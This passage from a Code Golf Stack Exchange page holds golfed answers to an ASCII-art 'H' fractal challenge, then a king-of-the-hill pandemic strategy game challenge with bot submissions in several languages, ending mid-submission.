HHH", "H H H H", "H HH HH H", "HHHHHHHHH", "H HH HH H", "H H H H", "HHH HHH", "H H H H"] which is printed line by line: H H H H HHH HHH H H H H H HH HH H HHHHHHHHH H HH HH H H H H H HHH HHH H H H H ``` Edit: -9 bytes thanks to @Potato44. [Answer] # Vim - 66 56 54 bytes `A` `@` `c` `H` `esc` `"` `r` `d` `^` `q` `c` `{` `ctrl-v` `}` `"` `a` `y` `g` `v` `r` `space` `g` `v` `d` `"` `a` `P` `P` `"` `a` `P` `V` `G` `"` `b` `y` `P` `g` `v` `ctrl-v` `$` `d` `"` `a` `P` `.` `.` `G` `"` `b` `p` `q` `@` `r` The input is taken as a number in the buffer. [Answer] # [Perl 5](https://www.perl.org/), ~~46~~ ~~44~~ ~~43~~ ~~41~~ 40 bytes 1 based counting. Uses `0` and `1` for `H` and space, has a leading `1` (space) ``` say//,map/$'/^1,@;for@;=glob"{A,.,A}"x<> ``` Based on a classic idea by mtve. [Try it online!](https://tio.run/##K0gtyjH9/784sVJfXyc3sUBfRV0/zlDHwTotv8jB2jY9Jz9JqdpRR0/HsVapwsbu/3/jf/kFJZn5ecX/dX1N9QwN9AwA "Perl 5 – Try It Online") [Answer] # [APL (Dyalog Unicode)](https://www.dyalog.com/), 38 34 bytes[SBCS](https://github.com/abrudz/SBCS) ``` ({(⍵,(0×⍵),⍵){⍺⍪⍵⍪⍺}⍵,⍵,⍵}⍣⎕)1 1⍴1 ``` Output is a 2-dimensional array with `1` representing H and `0` representing space. [Try it online!](http://tryapl.org/?a=f%u2190%7B%28%7B%28%u2375%2C%280%D7%u2375%29%2C%u2375%29%7B%u237A%u236A%u2375%u236A%u237A%7D%u2375%2C%u2375%2C%u2375%7D%u2363%u2375%291%201%u23741%7D&run) [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), ~~30~~ 29 bytes ``` HFENX³ι«J⁰¦⁰C⁰ιCιιT⊗ι⊗ι‖OO→↓ι ``` [Try it online!](https://tio.run/##RYxBCoMwFETXeorg6gdSENzZZV20hbYiXiDaWD9EfwiJUkrPniqVdjXvMcy0vbQtSR1CaXF0kBwTvo87sgwu0sBpNN5d/dAoC1ywkuYFMsGQc85ecXT2g6kJUsHSZRYdyDxXwZ/gJrXFAQryjVZ3wOXqz2tdqU6r1t0mZbU0W0Be4aN3guUFzeP36B1CFnaT/gA "Charcoal – Try It Online") Link is to verbose version of code. Explanation: ``` H ``` Print the original `H`. ``` FENX³ι« ``` Loop over the first `size` powers of 3. ``` J⁰¦⁰ ``` Move the cursor back to the origin. `Trim` needs this, as both the original printing of the `H` and the reflection below move the cursor. ``` C⁰ι ``` Copy the previous iteration downwards, creating a domino. ``` Cιι ``` Copy the result down and right, creating a tetromino. ``` T⊗ι⊗ι ``` Trim the canvas down to an `L` shape triomino. ``` ‖OO→↓ι ``` Reflect the canvas horizontally and vertically with overlap, completing the iteration. Charcoal is better at some fractals than others. Here's a similar idea, but in almost half the size: ``` HFN«⟲C²⁶‖OOLX³ι ``` [Try it online!](https://tio.run/##S85ILErOT8z5/z@gKDOvREPJQ0nTmistv0hBwzOvoLTErzQ3KbVIQ1NToZqLMyi/JLEk1Tm/oFLDyAyojDMoNS0nNbnEvyy1KCexAEppWPnoKATklwO1GesoZGoCFdb@/2/8X7csBwA "Charcoal – Try It Online") Link is to verbose version of code. [Answer] # [Python 2](https://docs.python.org/2/), 143 bytes ``` def g(a,x,y,s): if s:s/=3;[g(a,x+k/3*s,y+k%3*s,s)for k in 0,2,3,4,5,6,8] else:a[x][y]=1 def f(s):s=3**s;a=eval("s*[0],"*s);g(a,0,0,s);print a ``` [Try it online!](https://tio.run/##ZU/daoMwFL72PEUIDKKG1tVuDMWL3u0dRCRY02Y6I550rU/vTnQw2MhFPs75/s44u6sdDov5HO3kGM4I0PQKkZ0yCM6tZnVtBuPqWmDb65CGgQc7dJMZLqxgnG@8@2Rcu5IkQ3fT/7lxsS0AFOlOIgSw/ZkgpRLnbG8O4BfTQi3e@SKUfMhZonc0mmGG@yLNy3Ued/s0QjnH3ZP/MdR2Yh0zA0vkQabyKF/kq3yrIGh7bDNVPqpyropn8M5akCcWaRRhror2S/WCY1QmleQRhrkPSOgRHOkCR320OIZ/StINAD51snefu9qon6N95U3L@e7DmkFw9s7LpmJe0Xg@ycLlGw "Python 2 – Try It Online") -30 bytes thanks to recursive wrapper code is for nice formatting. it works fine if you remove it [Answer] # PHP 7, ~~125~~ 109 bytes a different approach: Instead of nesting and flattening the result recursively, this just loops through the rows and columns and uses a 3rd loop to find out if to print `H` or `_`. Edit: Saved a lot by combining the row/column loops to one, though it took a bit to get the decrease for the inner loop correct. Requires PHP 7 for the power operator. [Try them online](http://sandbox.onlinephpfunctions.com/code/447783049bb371196e0235947b591123f9fe0e9a)! --- ``` for($z=3**$argn;$z*$z>$q=$p;print$c." "[++$p%$z])for($c=H;$q;$q-=$q/$z%3*$z,$q/=3)if($q%3==1&&$q/$z%3-1)$c=_; ``` prints the result. Run as pipe with `-nR`. ## qualified function, ~~147~~ 130 bytes ``` function r($n){for($z=3**$n;$z*$z>$q=$p;$r.=$c." "[++$p%$z])for($c=H;$q;$q-=$q/$z%3*$z,$q/=3)if($q%3==1&&$q/$z%3-1)$c=_;return$r;} ``` returns a single string. Run with default config (no `php.ini`). [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 25 bytes ``` ,’b3U×"3S_4A1e 3*çþ`ị⁾ HY ``` [Try it online!](https://tio.run/##AS0A0v9qZWxsef//LOKAmWIzVcOXIjNTXzRBMWUKMyrDp8O@YOG7i@KBviBIWf///zQ "Jelly – Try It Online") --- Although this is longer than the [existing Jelly submission](https://codegolf.stackexchange.com/a/157670/), it tries to generate each character independently just from the coordinate. In particular, if the coordinate is `(x,y)` (1-indexing), the first link returns `0` and `1` corresponds to `H` and respectively. ``` , Pair. Get (x,y) ’ Decrement. Get (x,y) (0-indexing) b3 Convert to base 3 digits. U Upend. So next operations can pair the corresponding digits. ×"3 Multiply the first element (list) by 3. S Sum (corresponding digit together). Let the sum be **s**. _4A1e Check if any of **abs(s-4)** is 1. Equivalently, check if there is any **3** or **5** in the list of **s**. ``` Also, the 5 bytes `ị⁾ HY` are used for formatting, so this program (20 bytes) is also valid (but the output doesn't look as nice): ``` ,’b3U×"3S_4A1e 3*çþ` ``` [Answer] # [T-SQL](https://www.microsoft.com/sql-server), ~~267~~ 261 bytes ``` DECLARE @N INT=3DECLARE @ TABLE(I INT,H VARCHAR(MAX))INSERT @ VALUES(1,'H H'),(2,'HHH'),(3,'H H');WITH T AS(SELECT 1 A,3 P,I J,H S FROM @ UNION ALL SELECT A+1,P*3,J*P+I,REPLACE(REPLACE(S,' ',' '),'H',H)FROM @,T WHERE A<@N)SELECT S FROM T WHERE A=@N ORDER BY J ``` [Answer] # PHP 7, 153 bytes ``` function p($n){$r=["H H",HHH,"H H"];if(--$n)foreach(p($n)as$s){$r[+$i]=$r[$i+6*$p=3**$n]=str_pad($s,2*$p).$s;$r[3*$p+$i++]=$s.$s.$s;}ksort($r);return$r;} ``` Run with default config (no `php.ini`) or [try it online](http://sandbox.onlinephpfunctions.com/code/58d2dc212341fc0beb36b00d8ce44ced12e23116). [Answer] # Perl, 64 bytes ``` //;$_ x=3,$.=s|.+|$&@{[$$_++/$.&1?$&:$"x$.]}$&|g for($_=H.$/)x$' ``` Requires `-p`, input is taken from stdin. Output is an H of `H`s. [Try it online!](https://tio.run/##BcHRCkAwFAbgV5H@hsZZkhtaXHoHaVdIyRYuVubVHd/n5nOvmZVqYSKvqxykr0AyQPTPCBgpFUiUHUSD2IOmFyKs0WLPFEYPBJV5JMzVZ9292ePiwv0 "Perl 5 – Try It Online") [Answer] # PHP (5.6+), 94 bytes ``` <?for(;$H>$e*=3or$e=($i+=$e&&print"$s ")<${$s=H}=3**$argn;)$s.=str_pad($i/$e%3&1?$s:'',$e).$s; ``` Used with `-F` command line option. Assumes interpreter defaults (`-n`). Will not work on versions previous to 5.6, due to the power operator. **Sample usage** ``` $ echo 3|php -nF h-carpet.php H H H H H H H H HHH HHH HHH HHH H H H H H H H H H HH HH H H HH HH H HHHHHHHHH HHHHHHHHH H HH HH H H HH HH H H H H H H H H H HHH HHH HHH HHH H H H H H H H H H H H HH H H HH H H H HHH HHHHHH HHHHHH HHH H H H HH H H HH H H H H HH HH HH HH HH HH HH HH H HHHHHHHHHHHHHHHHHHHHHHHHHHH H HH HH HH HH HH HH HH HH H H H H HH H H HH H H H HHH HHHHHH HHHHHH HHH H H H HH H H HH H H H H H H H H H H H HHH HHH HHH HHH H H H H H H H H H HH HH H H HH HH H HHHHHHHHH HHHHHHHHH H HH HH H H HH HH H H H H H H H H H HHH HHH HHH HHH H H H H H H H H ``` [Try it online!](https://tio.run/##DctBDsIgEAXQvcdovrSg1hh20rE701uYJo7KBiYMO@PVRd/@yUtam@ZHLkPAcgE78rmAaUDcEdgYKTHVDrrp7IQ3lJYPeeewlmcKFjqS1nKT9f4fR/DWm9MMPff9HmxHaGjNf7PUmJO2Q7r@AA "PHP – Try It Online") [Answer] # CJam - 103 97 87 76 bytes ``` {H{ae_,S*}%}:Il~a:A];{A_W={)(a9*+:A;[[HIH][HHH][HIH]]{z~}%}{);:A;"H"}?}:H~N* ``` This program does a quite verbose "handcoded" recursion. No smart matrix multiplications. Throughout the recursion, on top of the stack there is an array gathering the output gained from the parent calls. Right after each set of recursive calls the output of the recursive calls needs to be zipped together, to make sure the output is correct when the stack is printed linearly at the end of the program. The stack of arguments being passed down the recursion is kept in the variable `A`. [Try online](http://cjam.aditsu.net/#code=%7BH%7Bae_%2CS*%7D%25%7D%3AIl~a%3AA%5D%3B%7BA_W%3D%7B)(a9*%2B%3AA%3B%5B%5BHIH%5D%5BHHH%5D%5BHIH%5D%5D%7Bz~%7D%25%7D%7B)%3B%3AA%3B%22H%22%7D%3F%7D%3AH~N*&input=4) [Answer] # [K (ngn/k)](https://github.com/ngn/k), 18 bytes ``` {~|/a<\:'a:1=!x#3} ``` [Try it online!](https://tio.run/##y9bNS8/7/z/NqrquRj/RJsZKPdHK0FaxQtm49n@agiFXmoIREBv/BwA "K (ngn/k) – Try It Online") [Answer] # [Japt](https://github.com/ETHproductions/japt), 23 bytes ``` _·£[X³XX³]Ãy c ·û}gQq)y ``` [Try it online!](https://ethproductions.github.io/japt/?v=1.4.5&code=I1tvX2QjJCBrIltvX2QkazEhIjE=&input=) ### Unpacked & How it works ``` Z{ZqR mXYZ{[Xp3 XXp3]} y c qR û}gQq)y Z{ Declare a function that accepts a string... ZqR Split by newline... mXYZ{ and map each row into... [Xp3 XXp3] an array of [X.repeat(3), X, X.repeat(3)] } y Transpose the resulting 2D array c Flatten qR Join with newline û Center-pad each row to the longest } gQq) Apply the above function to '"' recursively y Transpose the resulting 2D string ``` Using the transposed pattern ``` III I III ``` is far easier to handle than the original `H` pattern, at least in Japt where the `I` can be done with string repeat and center-padding. [Answer] # C++11 - 138 bytes Not sure if this answer has a valid syntax here however. ``` #define A a?1:0 template<int N>struct H{H<N-1>h[9];H(int a):h{A,0,A,A,A,A,A,0,A}{}};template<>struct H<0>{char h;H(int a):h{a?'H':' '}{}}; ``` Ungolfed with working code ``` #include <iostream> #define A a?1:0 template<int N> struct H { H<N-1> h[9]; H(int a) : h{A,0,A,A,A,A,A,0,A} {} }; template<> struct H<0> { char h; H(int a) : h{a?'H':' '} {} }; int pow(int a, int b) { int res=1; for (int i=1; i<=b; ++i) res *= a; return res; } template<int N> char getHvalue(int i, int j, H<N> &hn) { int n3=pow(3, N-1); //std::cout << N << " " << i << " " << j << std::endl; return getHvalue(i%n3, j%n3, hn.h[i/n3*3+j/n3]); } template<> char getHvalue<0>(int, int, H<0> &hn) { return hn.h; } int main() { H<0> h0(1); std::cout << getHvalue(0, 0, h0) << std::endl; std::cout << "\n====================\n" << std::endl; H<1> h1(1); for (int i=0; i<3; ++i) { for (int j=0; j<3; ++j) std::cout << getHvalue(i, j, h1); std::cout << std::endl; } std::cout << "\n====================\n" << std::endl; H<2> h2(1); for (int i=0; i<9; ++i) { for (int j=0; j<9; ++j) std::cout << getHvalue(i, j, h2); std::cout << std::endl; } std::cout << "\n====================\n" << std::endl; H<3> h3(1); for (int i=0; i<27; ++i) { for (int j=0; j<27; ++j) std::cout << getHvalue(i, j, h3); std::cout << std::endl; } return 0; } ``` ]
[Question] [ **Final results are here !** # Introduction In 2042, the world has become overpopulated. Globalization, overcrowding, new lifestyles and a global lack of hygiene has caused a new pandemic to spread. During those hard times, state leaders have to manage the situation. You can't let your population be decimated, but maybe you could benefit by letting your neighbors to die... # Glossary > > *Healthy*: People not infected > > *Infected*: People who can die from the pandemic > > *Dead*: Body count, no particular effect (only scoring) > > *Infection Rate*: Number of *Healthy* who will become *Infected* each turn > > *Contagion Rate*: Percentage of *Infected* that will convert *Healthy* to *Infected* each turn > > *Lethality Rate*: Percentage of *Infected* that will die each turn > > *Migration Rate*: Percentage of both *Healthy* and *Infected* that will emigrate/immigrate each turn > > *Local*: Affects only your state > > *Global*: Affects every state > > > # Principle Each of the players will manage one town, starting with **100 people**. Unfortunately, among them is **one Infected**. The game is turn-based. A turn consists of **seven phases**, the last one being interactive (asking bots for a command). The order of the players is randomized each turn. The next phase begins when the previous phase has been executed by every town (Turn 1: Player 1, Player 2, Player 3... ; Turn 2: Player 3, Player 2, Player 1...) : ``` 1. Mutation - AUTOMATED 2. Reproduction - AUTOMATED 3. Migration - AUTOMATED 4. Infection - AUTOMATED 5. Contagion - AUTOMATED 6. Extinction - AUTOMATED 7. Players Turn - INTERACTIVE ``` The controller provides you with input via command arguments, and your program has to output via stdout. # Syntax **Input** Each time your program is called, it will receive arguments in this format: `Round;YourPlayerId;PlayerId_Healthy_Infected_Dead_InfectionRate_ContagionRate_LethalityRate_MigrationRate;PlayerId_Healthy_Infected_Dead_InfectionRate_ContagionRate_LethalityRate_MigrationRate;...` Round are 1-indexed. **Example input** `6;2;1_106_23_9_2_4_13_5;0_20_53_62_16_20_35_5;2_20_53_62_16_20_35_5` Here, you see it is the 6th round and you are player 2. You have 20 healthy, 53 infected, 62 dead, 16% infection rate, 20% contagion rate, 35% lethality rate, and a 5% migration rate. **Output** You have to output three characters (no space, no separator), which each correspond to one action you'll take this turn. The order of the characters determine the order of the actions. You can output the same actions multiple times. `N`: Do **N**othing `M`: Research **M**icrobiology [Effects: Reduce local *Infection Rate* by 4%] `E`: Research **E**pidemiology [Effects: Reduce local *Contagion Rate* by 8%] `I`: Research **I**mmunology [Effects: Reduce local *Lethality Rate* by 4%] `V`: Research **V**accination [Effects: Reduce local *Infection Rate* by one, reduce local *Contagion Rate* by 4%, reduce local *Lethality Rate* by 2%] `C`: Give **C**ure [Effects: Convert 10 local *Infected* to *Healthy*] `Q`: **Q**uarantine [Effects: Remove 30 local *Infected*] `O`: **O**pen Borders [Effects: Increase local *Migration Rate* by 10%] `B`: Close **B**orders [Effects: Decrease local *Migration Rate* by 10%] `T`: Bio**T**errorism [Effects: Convert 4 global *Healthy* to *Infected*] `W`: **W**eaponization [Effects: Increase global *Infection Rate* by 1, increase global *Lethality Rate* by 2%] `D`: **D**issemination [Effects: Increase global *Infection Rate* by 1, increase global *Contagion Rate* by 2%] `P`: **P**acification [Effects: Decrease global *Infection Rate* by 1, decrease global *Contagion Rate* by 1%, decrease global *Lethality Rate* by 1%] # Gameplay **All phases** *Invalid command* = Nothing Percentage are added up like integers, i.e. 10% - 4% = 6%. When percentage are applied in a formula, the result is floored. **Phase 1: Mutation** The pandemic is becoming more potent. Each turn, it randomly gains one of these attributes (this mutation affects all players at once): * Increase global *Infection Rate* by 2 * Increase global *Contagion Rate* by 5% * Increase global *Lethality Rate* by 5% **Phase 2: Reproduction** Every five rounds (round 5, 10, 15...), new citizens will be born. Each pair of *Healthy* will make one *Healthy* (23 *Healthy* generate 11 new *Healthy*). Each pair of *Infected* will make one *Infected*. **Phase 3: Migration** Each turn, a percentage of *Healthy* and *Infected* will leave states, depending on their *Migration Rate* (10 *Healthy* will leave a state with 100 *Healthy* and 10% *Migration Rate*). Then, the migrants will be distributed among every state, once again depending on *Migration Rate*. (The rates of each state are weighted and migrants are then all distributed accordingly). **Phase 4: Infection** *Healthy* of each state are converted to *Infected*, according to *Infection Rate*. **Phase 5: Contagion** *Healthy* of each state are converted to *Infected*, according to *Contagion Rate*. The number is calculated by multiplying the *Infected* by the *Contagion Rate*. **Phase 6: Extinction** *Infected* are converted to *Dead*, according to *Lethality Rate*. The number is calculated by multiplying the *Infected* by the *Lethality Rate*. **Phase 7: Players turn** Each player receive input and must output three actions, that are executed in the order they are output. # Rules * Bots should not be written to beat or support specific other bots. * Writing to files is allowed. Please write to "yoursubmissionname.txt", the folder will be emptied before a game starts. Other external resources are disallowed. * Your submission has one second to respond (per town). * Provide commands to compile and run your submissions. # Winning Winner is the one with the most *Healthy* after 50 rounds. If a player is the last alive (more than 0 *Healthy* or *Infected*) the game stops and he wins. If multiple players have the same amount of *Healthy*, the one with most *Infected* will win, then the one with fewer *Dead*s. # Controller [You can find the controller on GitHub](https://github.com/Thrax37/ffe-master). It also contains three samplebots, written in Java. To make it run, check out the project and open it in your Java IDE. The entry point in the `main` method of the class `Game`. Java 8 required. To add bots, first you need either the compiled version for Java (.class files) or the sources for interpreted languages. Place them in the root folder of the project. Then, create a new Java class in the `players` package (you can take example on the already existing bots). This class must implement `Player` to override the method `String getCmd()`. The String returned is the shell command to run your bots. You can for example make a Ruby bot work with this command : `return "C:\Ruby\bin\ruby.exe MyBot.rb";`. Finally, add the bot in the `players` array at the top of the `Game` class. # Final Results (2016-03-04 08:22 GMT) **Global (100 reputation) :** 100 games results : <http://pasted.co/942200ff> ``` 1. EvilBot (24, 249, 436) 2. Triage (23, 538, 486) 3. WICKED (23, 537, 489) 4. Israel (23, 40, 240) 5. InfectedTown (22, 736, 482) 6. ZombieState (22, 229, 369) 7. Mooch (22, 87, 206) 8. InfectedHaven (21, 723, 483) 9. Crossroads (16, 9, 136) 10. TheKeeper (3, 4, 138) 11. Terrorist (0, 595, 496) 12. InfectionBot (0, 511, 430) 13. FamilyValues (0, 6, 291) 14. UndecidedBot (0, 0, 20) 15. XenoBot (0, 0, 26) 16. Researcher (0, 0, 33) 17. Strategist (0, 0, 42) 18. TheCure (0, 0, 55) 19. Socialist (0, 0, 67) 20. TrumpBot (0, 0, 77) 21. CullBot (0, 0, 81) 22. BackStabber (0, 0, 87) 23. BlunderBot (0, 0, 104) 24. RemoveInfected (0, 0, 111) 25. PFC (0, 0, 117) 26. BioterroristBot (0, 0, 118) 27. PassiveBot (0, 0, 118) 28. Smaug (0, 0, 118) 29. WeaponOfMassDissemination (0, 0, 119) 30. AllOrNothing (0, 0, 121) 31. Obamacare (0, 0, 122) 32. DisseminationBot (0, 0, 123) 33. CureThenQuarantine (0, 0, 125) 34. Madagascar (0, 0, 129) 35. OpenAndClose (0, 0, 129) 36. ThePacifist (0, 0, 130) 37. MedicBot (0, 0, 131) 38. Medic (0, 0, 133) 39. Salt (0, 0, 134) 40. Piecemeal (0, 0, 136) 41. Graymalkin (0, 0, 137) 42. PureBot (0, 0, 140) 43. MadScienceBot (0, 0, 144) 44. BipolarBot (0, 0, 149) 45. RedCross (0, 0, 151) ``` **Doomsday-less (200 reputation) :** 100 games results : <http://pasted.co/220b575b> ``` 1. FamilyValues (5708, 14, 2) 2. BlunderBot (5614, 12, 3) 3. Graymalkin (5597, 17, 4) 4. PureBot (5550, 12, 5) 5. Crossroads (5543, 11, 4) 6. Salt (5488, 24, 7) 7. CureThenQuarantine (5453, 13, 7) 8. Piecemeal (5358, 121, 23) 9. TrumpBot (5355, 12, 5) 10. CullBot (5288, 12, 9) 11. AllOrNothing (5284, 13, 10) 12. Madagascar (5060, 180, 35) 13. TheKeeper (4934, 165, 44) 14. WICKED (4714, 25, 5) 15. Strategist (2266, 25, 5) 16. BackStabber (2180, 1327, 596) 17. RemoveInfected (2021, 33, 27) 18. OpenAndClose (1945, 667, 394) 19. Triage (1773, 401, 80) 20. TheCure (1465, 46, 26) 21. Obamacare (1263, 525, 247) 22. Mooch (1103, 546, 269) 23. Israel (1102, 580, 292) 24. RedCross (1086, 1700, 727) 25. ThePacifist (1069, 636, 580) 26. Researcher (1035, 113, 37) 27. UndecidedBot (825, 219, 93) 28. PassiveBot (510, 990, 567) 29. MedicBot (411, 1474, 667) 30. Medic (392, 1690, 619) 31. Socialist (139, 63, 90) 32. XenoBot (0, 82, 170) ``` Thank you everyone for your participation. I hope you had as great a time designing and coding your bots as I had running the game. [Answer] # TrumpBot ``` private void sleep(String[] args) { round = Integer.parseInt(args[0]); thisTownID = Integer.parseInt(args[1]); states = new ArrayList<>(); //states.add(new State(args[thisTownID+2])); otherStates = new ArrayList<>(); for (int i = 2; i < args.length; i++){ states.add(new State(args[i])); } for (State state : states){ if (state.ownerId == thisTownID) { thisState = state; } else { otherStates.add(state); } } StringBuilder cmd = new StringBuilder(); for (int j =0;j<3;j++){ if (thisState.infected > 7) { if (thisState.infected > 25){ cmd.append("Q"); thisState.infected -= 30; } else { cmd.append("C"); thisState.infected -= 10; } } else if (thisState.migrationRate > 2) { cmd.append("B"); thisState.migrationRate -= 10; } else if (thisState.infectionRate > 4) { cmd.append("M"); thisState.infectionRate -= 4; } else if (thisState.contagionRate > 10 || thisState.lethalityRate > 6 || thisState.infectionRate > 0) { cmd.append("V"); thisState.contagionRate -= 4; thisState.lethalityRate -= 2; thisState.infectionRate -= 1; } else if (thisState.infected % 10 <= 6){ cmd.append("T"); thisState.infected +=4; } else cmd.append("V"); } System.out.print(cmd.reverse()); } ``` Makes America great by curing all the infected unless there are only 2 or less; minorities will be ignored. Having less infections makes the medicine cheaper. Needs no immigrants – they only bring infection. If there is nothing left to do, bomb the other players. Reversed command order to the American way, bombs first cure people later. Edit: fixed a bug that would spam cures because the infected count wasn't lowered after curing. ## Trumpscript Thanks to J Atkin for providing it: ``` Make turn 4000000 As long as, turn larger than 1000000;: If, refugee count > 2000000;: say "C"! Else if, infectionRate > 200000;: say "M"! Else if, immigration rate > 9000000;: say "B"! Else: say "T"! Make turn old turn - 1000000! America is Great. ``` [Answer] # AllOrNothing, R ``` args <- strsplit(commandArgs(TRUE),";")[[1]] round <- as.integer(args[1]) me <- as.integer(args[2]) stats <- do.call(rbind,strsplit(args[-(1:2)],"_")) stats <- as.data.frame(apply(stats,2,as.integer)) colnames(stats) <- c("id","Sane","Infected","Dead","InfRate","ContRate","LethRate","MigRate") out <- "" statme <- stats[stats$id==me,] while(nchar(out)<3){ if(round==1 & !nchar(out)){ out <- paste0(out, "B") }else if(round%%5==4 & statme$Infected > 20){ statme$Infected <- statme$Infected - 30 out <- paste0(out, "Q") }else if(statme$Sane*statme$InfRate/100 >= 1){ o <- ifelse(statme$Sane*statme$InfRate/100 < statme$Infected*statme$ContRate/100, "C", "M") if(o=="C") statme$Infected <- statme$Infected - 10 if(o=="M") statme$InfRate <- statme$InfRate - 4 out <- paste0(out, o) }else if(statme$Infected > 0){ statme$Infected <- statme$Infected - 10 out <- paste0(out, "C") }else if(median(stats$LethRate)<20){ out <- paste0(out, "W") }else{ out <- paste0(out, "E") } } cat(substr(out,1,3)) ``` Invoked by `Rscript AllOrNothing.R`. The idea here is on one hand to limit to the maximum the risk of infection (by lowering infection rate, curing the infected and preventing infected to immigrate) and on the other hand to increase the lethality of the disease so that the people that do get infected, die before contaminating the others. Edit: tweaked the strategy a little. [Answer] # Family Values, Node (ES6) ``` // Process input var data = process.argv[2].split(';'); var round = data.shift()*1; var id = data.shift()*1; var playerCount = data.length; var local = data.find(function(v) { return !v.indexOf(id+'_')} ).split('_'); local = { sane: local[1]*1, infected: local[2]*1, dead: local[3]*1, infectionRate: local[4]*1, contagionRate: local[5]*1, lethalityRate: local[6]*1, migrationRate: local[7]*1 }; // Determine response var response = []; for(var i=0;i<3;i++) { var model = { M: local.infectionRate, E: local.contagionRate * (local.sane > 0 ? 1 : 0.5), I: local.lethalityRate * (round > 45 ? 0 : local.sane > 0 ? 1 : 2), V: (local.infectionRate/4 + local.contagionRate/2 + local.lethalityRate/2) * (round > 45 ? 0 : 1), C: local.infected / Math.max(local.infectionRate, 1) * (round > 48 ? round : local.infectionRate + local.contagionRate/100 * local.infected < (3 - i) * 10 ? 1 : 0), B: local.migrationRate * 10 }; var max = 'M'; for(k in model) { if (model[k] > model[max] ) { max = k; } else if(model[k] == model[max]) { max = [max, k][Math.random()*2|0]; } } response.push(max); // Refactor priorities if(max == 'M') { local.infectionRate -= 4; } else if(max == 'E') { local.contagionRate -= 8; } else if(max == 'I') { local.lethalityRate -= 4; } else if(max == 'V') { local.infectionRate -= 1; local.contagionRate -= 4; local.lethalityRate -= 2; } else if(max == 'C') { local.infected -= 10; } else if(max == 'B') { local.migrationRate -= 10; } } // Respond with actions process.stdout.write(response.join('')); ``` Family Values focuses of self-preservation and defense, and only performs actions to that end. It uses a point-value system to determine the best course of action to take, and then adjusts it's own status values to better determine it's next priority. In the event of a tie, it randomly chooses from among the best options. EDIT: Seems to be doing alright so far: ``` ********** FINISH ********** 1. FamilyValues (1143, 0, 188) 2. Triage (582, 0, 158) 3. Researcher (281, 0, 142) 4. Madagascar (149, 0, 162) 5. Mooch (148, 0, 331) 6. MedicBot (142, 0, 161) 7. Medic (66, 65, 211) 8. XenoBot (0, 0, 22) 9. WMDbot (0, 0, 218) 10. PassiveBot (0, 0, 221) 11. BioterroristBot (0, 0, 221) 12. MadScienceBot (0, 0, 221) 13. DisseminationBot (0, 0, 221) 14. TheCure (0, 0, 222) ``` --- # The Pacifist, Node ``` // Process input var data = process.argv[2].split(';'); var round = data.shift()*1; // Respond with actions process.stdout.write(round == 1 ? 'OOO' : 'PPP'); ``` With so much focus on killing and death, the Pacifist believes that strong global health means strong local health. As such, they pretty much just focuses on reducing global illness, while leaving borders partly open to allow the goodness to spread around. [Answer] # Medic The Medic was always... *troubled*, so to speak, by the people without medicine. He loves to practice medicine, so that's all he does. He also likes pythons, so he wrote his code in Python. It all makes sense, if you think about it. No, it really doesn't. Actually, it kinda does... ``` from random import * commands = "" while len(commands) < 3: chance = random() if chance < .5: commands += "V" elif chance < .66: commands += "I" elif chance < .84: commands += "E" else: commands += "M" print(commands) ``` [![I am here to help.](https://i.stack.imgur.com/hfBuu.jpg)](https://i.stack.imgur.com/hfBuu.jpg) *I am here to help.* [Answer] ## The Cure This seems a bit too simplistic, but it also seems like a pretty good method to keep the infection/death rate down. On every turn, outputs `MCQ`: * Reduce infection rate * Cure some infected * Quarantine some of the remaining infected That's it! ``` public class TheCure{ public static void main(String[]a){ System.out.println("MCQ"); } } ``` I could probably improve this by outputting more `M` (or `B`) if I have no currently infected instead of curing and quarantining, but I'd like to see how well this does first. Unfortunately, one side effect of posting first is that it's hard to gauge effectiveness: [Answer] # WICKED, Kotlin Remember, WICKED is good. ``` package wicked import java.util.* fun clamp(value : Double, floor : Double, ceil : Double = Double.POSITIVE_INFINITY) = Math.max(Math.min(value, ceil), floor) fun clamp(value : Int, floor : Int, ceil : Int = Integer.MAX_VALUE) = Math.max(Math.min(value, ceil), floor) data class Player( val id : Int, var healthy : Int, var infected : Int, var dead : Int, var infectionRate : Int, var contagionRate : Double, var lethalityRate : Double, var migrationRate : Double) class Game(val players : List<Player>) { fun doAction(playerId: Int, a: Char) { val player = players.first { it.id == playerId } with(player) { when (a) { 'N' -> {} 'M' -> infectionRate = clamp(infectionRate - 4, 0) 'E' -> contagionRate = clamp(contagionRate - .08, 0.0, 1.0) 'I' -> lethalityRate = clamp(lethalityRate - .04, 0.0, 1.0) 'V' -> { infectionRate = clamp(infectionRate - 1, 0) contagionRate = clamp(contagionRate - .04, 0.0, 1.0) lethalityRate = clamp(lethalityRate - .02, 0.0, 1.0) } 'C' -> { val cured = Math.min(infected, 10) infected -= cured healthy += cured } 'Q' -> infected = clamp(infected - 30, 0) 'O' -> migrationRate = clamp(migrationRate + .1, 0.0, 1.0) 'B' -> migrationRate = clamp(migrationRate - .1, 0.0, 1.0) 'T' -> { players.forEach { val infected = Math.min(it.healthy, 4) it.healthy -= infected it.infected += infected } } 'W' -> { players.forEach { it.infectionRate++ it.lethalityRate = clamp(it.lethalityRate + .02, 0.0, 1.0) } } 'D' -> { players.forEach { it.infectionRate++ it.contagionRate = clamp(it.contagionRate + .02, 0.0, 1.0) } } 'P' -> { players.forEach { it.infectionRate = clamp(it.infectionRate - 1, 0) it.contagionRate = clamp(it.contagionRate - .01, 0.0, 1.0) it.lethalityRate = clamp(it.lethalityRate - .01, 0.0, 1.0) } } else -> throw IllegalArgumentException("Invalid action: $a") } } } fun copy() = Game(players.map { it.copy() }) fun migration() { var migratingHealthy = 0 var migratingInfected = 0 var totalMigratingWeight = 0.0 players.forEach { migratingHealthy += (it.healthy * it.migrationRate).toInt() migratingInfected += (it.infected * it.migrationRate).toInt() totalMigratingWeight += it.migrationRate it.healthy = (it.healthy * (1 - it.migrationRate)).toInt() it.infected *= (it.healthy * (1 - it.migrationRate)).toInt() } players.forEach { it.healthy += (migratingHealthy * it.migrationRate / totalMigratingWeight).toInt() it.infected += (migratingInfected * it.migrationRate / totalMigratingWeight).toInt() } } fun infection() { players.forEach { val infected = it.infectionRate //Allow negative healthy. it.healthy -= infected it.infected += infected } } fun contagion() { players.forEach { val infected = (it.infected * it.contagionRate).toInt() it.healthy -= infected it.infected += infected } } fun extinction() { players.forEach { val killed = (it.infected * it.lethalityRate).toInt() it.infected -= killed it.dead += killed } } operator fun get(playerId : Int) = players.first { it.id == playerId } fun calculateBenefit(action : Char, myId: Int) : Int { val copy1 = copy() copy1.doAction(myId, action) copy1.migration() copy1.infection() 